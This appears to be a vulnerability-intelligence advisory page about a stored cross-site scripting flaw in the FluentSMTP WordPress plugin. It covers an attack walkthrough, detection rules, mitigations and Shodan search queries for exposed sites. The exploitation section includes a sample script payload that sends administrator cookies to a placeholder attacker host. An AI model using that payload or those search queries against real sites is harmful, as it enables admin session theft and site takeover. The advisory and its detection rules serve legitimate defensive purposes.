☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-16636

CVE-2026-16636 Cross-Site Scripting in FluentSMTP
📅 PUBLISHED: 2026-08-06 00:00 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-16636 describes a Stored Cross-Site Scripting (XSS) vulnerability in the FluentSMTP – WP SMTP Plugin with Amazon SES, SendGrid, MailGun, Postmark, Google and Any SMTP Provider plugin for WordPress, affecting all versions up to and including 2.2.95. The flaw resides in the Email Logs feature, specifically in the handling of the recipient display name (to.name) within wp_mail() calls, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. These scripts execute when an administrator accesses the email log detail view via the Prev/Next navigation controls, which bypass the escaping pipeline used in the list view. The vulnerability carries a CVSS score of 7.2 (High) due to its network-based, unauthenticated attack vector and potential for scope change, though its impact is limited to low confidentiality and integrity effects.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is a classic Stored XSS case (CWE-79) in a WordPress plugin's administrative component. The attack surface is the email logging subsystem of FluentSMTP, which records outbound email metadata for administrative review. When the plugin logs emails sent through wp_mail(), it captures the recipient display name (to.name) as part of the log entry. The plugin fails to apply consistent output escaping to this field across all rendering contexts.

Vulnerability mechanism: The root cause is a discrepancy in the escaping pipeline between two views of the same data:

  1. List view (safe): When administrators browse the list of logged emails, the plugin passes the to.name field through an escapeHtml function, which encodes HTML entities and neutralizes script execution. This path is properly sanitized.

  2. Detail view via Prev/Next navigation (vulnerable): When an administrator clicks into a specific email log entry and then uses the Prev/Prev navigation buttons to move between entries, the plugin renders the to.name field without invoking the same escaping mechanism. This alternate code path bypasses the escapeHtml pipeline, rendering the raw, unsanitized value directly into the HTML DOM.

Attack delivery: An attacker does not need authentication to inject the payload. The malicious script is placed in the to.name parameter of a wp_mail() call. For example, an attacker could use a contact form or any other WordPress feature that triggers a mail send to a destination where they control the display name (e.g., sending an email to an address with a crafted display name in the header). When the WordPress site sends that email (to any recipient, potentially a honeypot address or a legitimate mailbox), FluentSMTP logs the transaction, including the attacker-controlled to.name value. The stored payload then executes when an administrator later views the log detail and navigates using Prev/Next.

Scope and severity context: The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) confirms the unauthenticated, network-based nature of the attack, with no user interaction required for the injection itself. The scope change (S:C) reflects that the injected script executes in the context of the WordPress admin panel, which may have broader security implications beyond the vulnerable component. However, the impact scores (C:L/I:L/A:N) indicate the attacker can only read low-sensitivity data or perform limited modifications, not achieve full system compromise or denial of service.


Exploitation Scenarios

Scenario: Unauthenticated Persistent XSS via Email Log Poisoning

  1. Reconnaissance and target identification: The attacker identifies a WordPress site running FluentSMTP, typically by fingerprinting HTTP responses for wp-content/plugins/fluent-smtp paths or examining page source for plugin-specific markers. They confirm the plugin version (<= 2.2.95) via plugin update information leaks or file checks (e.g., reading the plugin's readme.txt if publicly accessible). The attacker also verifies the site has exposed forms or endpoints that trigger wp_mail() (e.g., a contact form, user registration, or password reset functionality).

  2. Trigger and weaponization: The attacker crafts an HTTP request to the WordPress site that results in an email being sent with a malicious to.name value. For instance:

    • Using a publicly accessible contact form that accepts a "name" field for the recipient, the attacker submits a name like: <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>.
    • Alternatively, they could directly invoke any injectable endpoint that calls wp_mail() with user-controlled to headers (e.g., a vulnerable custom form, or by exploiting email header injection if other validation is weak).
    • Critically, the attacker does not need to authenticate; they simply need to trigger a mail send.
  3. Payload execution: The crafted to.name value is stored in FluentSMTP's email log database table. No immediate execution occurs. The payload remains dormant until an administrator accesses the Email Logs feature (typically under "Tools" or a dedicated menu in the WordPress admin). The admin clicks on the detail view of the malicious log entry, then uses the Prev/Next navigation buttons. At that point, the raw payload is rendered, and the embedded JavaScript executes in the admin's browser session.

  4. Post-exploitation impact: With the admin's session context, the attacker's script can:

    • Harvest admin cookies or session tokens and exfiltrate them to an external server.
    • Read the WordPress admin nonce values to perform state-changing actions via admin-ajax endpoints (e.g., change plugin settings, create rogue admin users, or inject further backdoors).
    • Modify the email log display to trick the admin into revealing sensitive information (e.g., prompting for credentials in a fake dialog).
    • Potentially leverage the admin context to upload malicious plugins or themes if additional flaws allow it, though the XSS alone limits direct impact to low confidentiality and integrity.

Alternative scenario (user-triggered): If the site has lower-privileged users (e.g., subscribers) who can access the email logs via a custom capability setting, the attacker could target those users instead, lowering the privilege requirement further, though the CVSS already accounts for unauthenticated delivery.


Impact Assessment

Business impact: The primary business risk is administrative account compromise of WordPress sites using FluentSMTP. A successful attack allows script execution in the admin context, potentially leading to site defacement, malicious redirects, or full site takeover if the attacker chains this with other admin-only actions. For organizations relying on the plugin for transactional email (e.g., e-commerce, membership sites, or SaaS), this undermines trust in the platform's integrity.

Affected systems: All WordPress installations running FluentSMTP version 2.2.95 or earlier, with email logging enabled (a default feature of the plugin). The attack surface requires the site to have at least one reachable mail-triggering mechanism (forms, registration, etc.), which is standard for most WordPress deployments.

Blast radius: The CVSS sub-scores (C:L, I:L, A:N, S:C) indicate the attacker can read limited confidentiality data (e.g., admin session info) and make limited integrity changes (e.g., alter admin settings), but cannot cause availability loss. The scope change (S:C) expands the impact beyond the plugin component to the entire WordPress admin environment, potentially enabling lateral movement to other plugins or the hosting environment if chained with other vulnerabilities. However, the lack of a public PoC or observed exploitation in the wild (per CISA KEV status) suggests the actual practical risk may be lower, though the unauthenticated nature and ease of payload delivery warrant high prioritization for patching.


Detection Guidance

Sigma Rule

title: FluentSMTP Stored XSS via Email Log Detail View
id: 9f0c1d3e-5a7b-4c8d-9e2f-1a2b3c4d5e6f
status: experimental
description: Detects potential exploitation of CVE-2026-16636 by identifying suspicious script content in email log records or admin page requests.
logsource:
  category: web_application
  product: wordpress
detection:
  selection_admin:
    http.url_extension: php
    http.url: '*fluent-smtp*'
    http.method: GET
  selection_log_fields:
    http.request.body|contains: 
      - '<script'
      - 'javascript:'
  condition: selection_admin and selection_log_fields
  timeframe: 5m
level: medium
fields:
  - src_ip
  - http.url
  - http.user_agent
falsepositives:
  - Legitimate admin activities that include script tags in email content (rare)
tags:
  - attack.t1190
  - cve.2026.16636
  - xss.stored

YARA Rule

rule FluentSMTP_Stored_XSS_CVE2026_16636
{
    meta:
        author = "Valter Security"
        description = "Detects payload patterns for CVE-2026-16636 in web logs or database dumps"
        cve = "CVE-2026-16636"
        date = "2026-01-01"
        severity = "high"
    strings:
        $a = /<script[^>]*>[^<]{1,256}<\/script>/
        $b = /(?i)(alert|fetch|eval|document\.cookie|XMLHttpRequest)/
        $c = /to\.name/
        $d = /fluent[-_ ]?smtp/i
        $e = /wp[-_ ]?mail\(/
    condition:
        all of them
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS FluentSMTP Stored XSS Attempt (CVE-2026-16636)"; flow:to_server; content:"/wp-admin/"; http.uri; content:"fluent-smtp"; http.uri; nocase; content:"<script"; http.request_body; nocase; content:"to.name"; http.request_body; nocase; sid:2026166361; rev:1; reference:cve,2026-16636; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-16636;)

Elastic Detection

sequence by host.name with maxspan=5m
  [any where process.name : "php*" and event.action : "exec*"]
  [any where process.name : "php*" and event.action : "exec*" and 
     request.url : "*fluent-smtp*" and request.body : ("*<script*", "*javascript:*")]
  [any where process.name : "php*" and event.action : "exec*"]

Alternative EQL (if web server logs are ingested):

sequence by source.ip with maxspan=5m
  [any where http.url : "*wp-admin*" and http.url : "*fluent-smtp*"]
  [any where http.request.body : ("*<script*", "*javascript:*") and http.request.body : "*to.name*"]

Splunk SPL Query

index=web sourcetype=access_combined status=200 response_body!=""
| where like(url,"%fluent-smtp%")
| rex field=url ".*\?(?<query>.*)$"
| regex form_data="(?i)(<script|javascript:|onerror=|onload=)"
| stats count by src_ip, uri_path, form_data, user_agent
| where count > 1

For database-level detection (MySQL/MariaDB logs):

index=wordpress sourcetype=mysql
| regex _raw="(?i)INSERT INTO.*fluent.*mail.*log.*(<script|javascript:)"
| table src_ip, db_query, _time

Wazuh OSSEC Rule

<group name="wordpress,xss,">
  <rule id="100366" level="10" frequency="5" timeframe="60">
    <if_sid>10000</if_sid>
    <field name="url">\.php</field>
    <field name="url">fluent-smtp</field>
    <match><script|javascript:|onerror=|onload=</match>
    <description>FluentSMTP potential stored XSS attempt (CVE-2026-16636) detected from same source IP</description>
    <group>attack.t1190,xss,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED. No vendor patch, advisory, or fix commit exists in tracked sources as of this report. The affected versions terminate at 2.2.95, indicating the vendor has not yet released a security update beyond this version.

Immediate mitigations (no patch available):

  1. Disable or restrict email logging: If email logging is not business-critical, disable the "Log Emails" feature in FluentSMTP settings via the admin panel (Settings → Email Logs → toggle off). This eliminates the storage of attacker-controlled to.name data and removes the attack surface.
  2. Harden admin access: Restrict access to the WordPress admin panel using IP allowlists, VPNs, or two-factor authentication to reduce the likelihood of an admin navigating to the vulnerable detail view. This does not prevent injection but reduces exploitation opportunities.
  3. Add a Web Application Firewall (WAF) rule: Deploy a WAF (e.g., Cloudflare, ModSecurity) with a rule that blocks requests containing <script combined with to.name or similar patterns in form submissions. This may disrupt payload delivery but is bypassable.
  4. Monitor admin activity: Alert on any admin user accessing the FluentSMTP email log detail view, especially with Prev/Next navigation patterns, as an indicator of potential exploitation.

Patch/upgrade steps:

  1. Monitor vendor channels: Track WordPress plugin update notifications and the FluentSMTP changelog (https://wordpress.org/plugins/fluent-smtp/) for a version > 2.2.95. The patched version is expected to apply consistent esc_html() or esc_attr() to the to.name field in the detail view code path.
  2. When available: Upgrade to the patched version via the WordPress admin (Plugins → Installed Plugins → FluentSMTP → Update Now), or via WP-CLI: wp plugin update fluent-smtp --version=<patched_version>.
  3. If no patch arrives within 30 days: Consider replacing the plugin with an alternative SMTP plugin (e.g., WP Mail SMTP, Post SMTP) that implements similar logging features but with proper output encoding. Migrate configuration and test email functionality before switching.

Long-term hardening:

  1. Adopt a least-privilege posture: Ensure only necessary WordPress users have access to the admin panel, and specifically to email log features if customizable.
  2. Implement CSP (Content Security Policy): Add a CSP header to the WordPress admin area (e.g., Content-Security-Policy: script-src 'self';) to mitigate XSS impact even if a payload executes, by blocking external script loading.
  3. Enable automatic plugin updates: Configure WordPress to auto-update plugins on security patches, reducing the window of exposure for future vulnerabilities.
  4. Conduct periodic security reviews: Scan WordPress plugins against known CVE databases and follow the WPScan or Patchstack threat feed for release updates.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-16636
  2. WordPress Plugin Repository (FluentSMTP): https://wordpress.org/plugins/fluent-smtp/ (monitor for version > 2.2.95)
  3. CWE-79 (Improper Neutralization of Input During Web Page Generation): https://cwe.mitre.org/data/definitions/79.html
  4. FIRST.org CVSS Calculator (v3.1, vector AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N): https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Threat actor campaign notes: No known threat actor campaigns or in-the-wild exploitation evidence exists as of this report (CISA KEV status: NO). The PoC/exploit status is UNKNOWN; no Nuclei templates or public exploit code have been identified. The vulnerability is a pure stored XSS class with no observed chaining, and its practical impact is limited unless targeted against high-value WordPress deployments.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WordPress" http.component:"WordPress"
http.html:"fluent-smtp"
http.component:"WordPress" http.html:"wp-content/plugins/fluent-smtp"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-16636/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.